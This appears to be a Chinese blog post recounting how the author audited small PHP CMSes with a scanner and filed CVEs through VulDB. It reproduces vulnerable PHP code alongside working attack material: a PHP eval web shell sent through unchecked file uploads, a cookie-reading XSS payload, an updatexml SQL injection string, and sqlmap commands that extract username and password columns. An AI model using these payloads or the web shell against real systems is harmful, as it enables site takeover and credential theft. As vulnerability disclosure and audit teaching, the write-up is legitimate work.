从零到入门开始水CVE

前言

认识的师傅说有的CMS是相对较简单的,拿到源码后就可以简单的进行一下代码审计,审出漏洞的话就可以尝试提交。本次审计过程记录如下

CVE 2022-2725

审计过程

找到简单的CMS后,进行本地环境搭建,然后用Seay审计系统进行扫描
在这里插入图片描述
发现漏洞分为三种,SQL注入,文件上传,XSS,接下来进行

/dashboard/add-blog.php

SQL注入(失败)

在这里插入图片描述
查看这个INSERT语句,发现变量被单引号包裹,观察变量的传值方式,发现被mysqli_real_escape_string函数包裹,这个函数会转义特殊字符,对单引号这些进行了转义,此时的话这里暂时看是无法实现SQL注入的,看下一个漏洞点。

XSS

           if(ISSET($_POST['save'])){
$blog_title = mysqli_real_escape_string($con,$_POST['blog_title']);
$blog_desc = mysqli_real_escape_string($con,$_POST['blog_desc']);
$blog_detail = mysqli_real_escape_string($con,$_POST['blog_detail']);

 if ( strlen($blog_title) < 5 ){
$msg=$msg."Blog Title Must Be More Than 5 Char Length.<BR>";
$status= "NOTOK";}
 if ( strlen($blog_desc) > 150 ){
$msg=$msg."Short description Must Be Less Than 150 Char Length.<BR>";
$status= "NOTOK";}

if ( strlen($blog_detail) < 15 ){
  $msg=$msg."Blog Detail Must Be More Than 15 Char Length.<BR>";
  $status= "NOTOK";}

对于上传的变量只是限制了长度,没有防护XSS的,导致了XSS的出现
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

文件上传

$uploads_dir = 'uploads/blog';

        $tmp_name = $_FILES["ufile"]["tmp_name"];
        // basename() may prevent filesystem traversal attacks;
        // further validation/sanitation of the filename may be appropriate
        $name = basename($_FILES["ufile"]["name"]);
        $random_digit=rand(0000,9999);
        $new_file_name=$random_digit.$name;

        move_uploaded_file($tmp_name, "$uploads_dir/$new_file_name");

上传文件时未检验文件格式,导致木马文件可以正常上传
上传文件内容

<?php
phpinfo();
@eval($_POST[1]);
?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
提交后

在这里插入图片描述
在这里插入图片描述

/dashboard/add-social.php

SQL注入(失败)

在这里插入图片描述
           if(ISSET($_POST['save'])){
$name = mysqli_real_escape_string($con,$_POST['name']);
$fa = mysqli_real_escape_string($con,$_POST['fa']);
$social_link = mysqli_real_escape_string($con,$_POST['social_link']);

 if ( strlen($name) < 2 ){
$msg=$msg."Social Network Name Must Contain A Char.<BR>";
$status= "NOTOK";}
 if ( strlen($fa) < 1 ){
$msg=$msg."Fontawesome Must Be At Least 2 Char Long.<BR>";
$status= "NOTOK";}

if ( strlen($social_link) < 5 ){
  $msg=$msg."Social Link Must Be More Than 6 Char Length.<BR>";
  $status= "NOTOK";}



if($status=="OK")
{
$qb=mysqli_query($con,"INSERT INTO social (name, fa, social_link) VALUES ('$name', '$fa', '$social_link')");

这里的话不难看出同之前一致,SQL注入存在防护,因此不存在SQL注入,这里属于误报,下一处。

XSS

           if(ISSET($_POST['save'])){
$name = mysqli_real_escape_string($con,$_POST['name']);
$fa = mysqli_real_escape_string($con,$_POST['fa']);
$social_link = mysqli_real_escape_string($con,$_POST['social_link']);

 if ( strlen($name) < 2 ){
$msg=$msg."Social Network Name Must Contain A Char.<BR>";
$status= "NOTOK";}
 if ( strlen($fa) < 1 ){
$msg=$msg."Fontawesome Must Be At Least 2 Char Long.<BR>";
$status= "NOTOK";}

if ( strlen($social_link) < 5 ){
  $msg=$msg."Social Link Must Be More Than 6 Char Length.<BR>";
  $status= "NOTOK";}

未对内容进行防护,只限制了长度,导致了XSS的出现
在这里插入图片描述
在这里插入图片描述

/dashboard/add-service.php

XSS

$msg="";
           if(ISSET($_POST['save'])){
$service_title = mysqli_real_escape_string($con,$_POST['service_title']);
$service_desc = mysqli_real_escape_string($con,$_POST['service_desc']);
$service_detail = mysqli_real_escape_string($con,$_POST['service_detail']);

 if ( strlen($service_title) < 5 ){
$msg=$msg."Service Title Must Be More Than 5 Char Length.<BR>";
$status= "NOTOK";}
 if ( strlen($service_desc) > 150 ){
$msg=$msg."Short description Must Be Less Than 150 Char Length.<BR>";
$status= "NOTOK";}

if ( strlen($service_detail) < 15 ){
  $msg=$msg."Service Detail Must Be More Than 15 Char Length.<BR>";
  $status= "NOTOK";}

只检验了长度,未对XSS语句进行防护,导致XSS漏洞
在这里插入图片描述
在这里插入图片描述

文件上传

$uploads_dir = 'uploads/services';

        $tmp_name = $_FILES["ufile"]["tmp_name"];
        // basename() may prevent filesystem traversal attacks;
        // further validation/sanitation of the filename may be appropriate
        $name = basename($_FILES["ufile"]["name"]);
        $random_digit=rand(0000,9999);
        $new_file_name=$random_digit.$name;

        move_uploaded_file($tmp_name, "$uploads_dir/$new_file_name");

对文件本身未进行检验,格式也没有要求,导致PHP一句话木马可以成功上传
上传文件内容

<?php
phpinfo();
@eval($_POST[1]);
?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
由于剩下的几个漏洞点均与上方这几个相似,SQL注入存在防护,XSS和文件上传未进行防护,所以这里不再一一演示

提交

将过程简单梳理一下,再用英文翻译一次,去https://vuldb.com/提交即可
提交几小时后收到了邮件
在这里插入图片描述
在网站下查看
在这里插入图片描述
在这里插入图片描述
成功的水到第一个CVE!!!

CVE第二弹

/admin/edit.php

    $sql = "select * from student where id = ".$_GET['eid'];
    $table = mysqli_query($cn, $sql);
    $row = mysqli_fetch_assoc($table);

eid参数未进行防护,同时这个eid参数未被单引号包裹,但这里存在取结果时存在这个mysqli_fetch_assoc函数,这个函数要求参数未True或False,即布尔值,这个时候就要求变量$table不能够出现错误,否则这个函数就会报错,所以这里无法实现SQL注入

接下来看这段代码

 <?php print $_GET['eid'].', Name: '.$row["sname"]; ?>'s information</h3>

这里的eid同样是不存在防护的,这里直接将这个eid变量进行了输出,这里我们可以插入XSS语句,窃取用户cookie和盗取其他信息,构造语句如下

a=edit&eid=<script>alert(document.cookie)</script>

在这里插入图片描述

CVE 第三弹

login.php

登录界面,输入一个单引号测试一下是否存在SQL注入
在这里插入图片描述
存在SQL注入,同时验证了闭合方式为单引号闭合,尝试单引号注入
注入payload为

1'and updatexml(1,concat(0x7e,database(),0x7e),1)#

在这里插入图片描述
成功获取数据库,接下来使用burpsuite抓包获取数据包
在这里插入图片描述
使用工具sqlmap进行攻击,获取数据表payload

python sqlmap.py -r "D:\sqlmap\3.txt"  -D "db_lms"  --tables

在这里插入图片描述
获取列信息payload

python sqlmap.py -r "D:\sqlmap\3.txt"  -D "db_lms" -T "user" --columns

在这里插入图片描述
获取字段信息payload

python sqlmap.py -r "D:\sqlmap\3.txt"  -D "db_lms" -T "user" -C "username,password" --columns
在这里插入图片描述

总结

喜提三个CVE

评论

  1. 哈哈哈
    Macintosh Chrome 104.0.0.0
    已编辑
    7月前
    2022-8-24 20:22:45

    师傅很牛

    • 博主
      哈哈哈
      Windows Chrome 104.0.0.0
      7月前
      2022-8-24 21:15:41

      谢谢师傅鼓励,我继续努力(ฅ´ω`ฅ)

  2. 海淀二狗
    Windows Chrome 109.0.0.0
    2月前
    2023-1-29 17:17:16

    请问这是哪个CMS啊?
    Java源码审计有没有推荐的工具呢?谢谢

    • 博主
      海淀二狗
      Windows Chrome 109.0.0.0
      2月前
      2023-2-08 0:18:00

      师傅你好,这几个是不知名的小型CMS,是在一些外国源码网站上找到的。我目前没有进行JAVA的代码审计,因此暂无工具推荐

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
 
...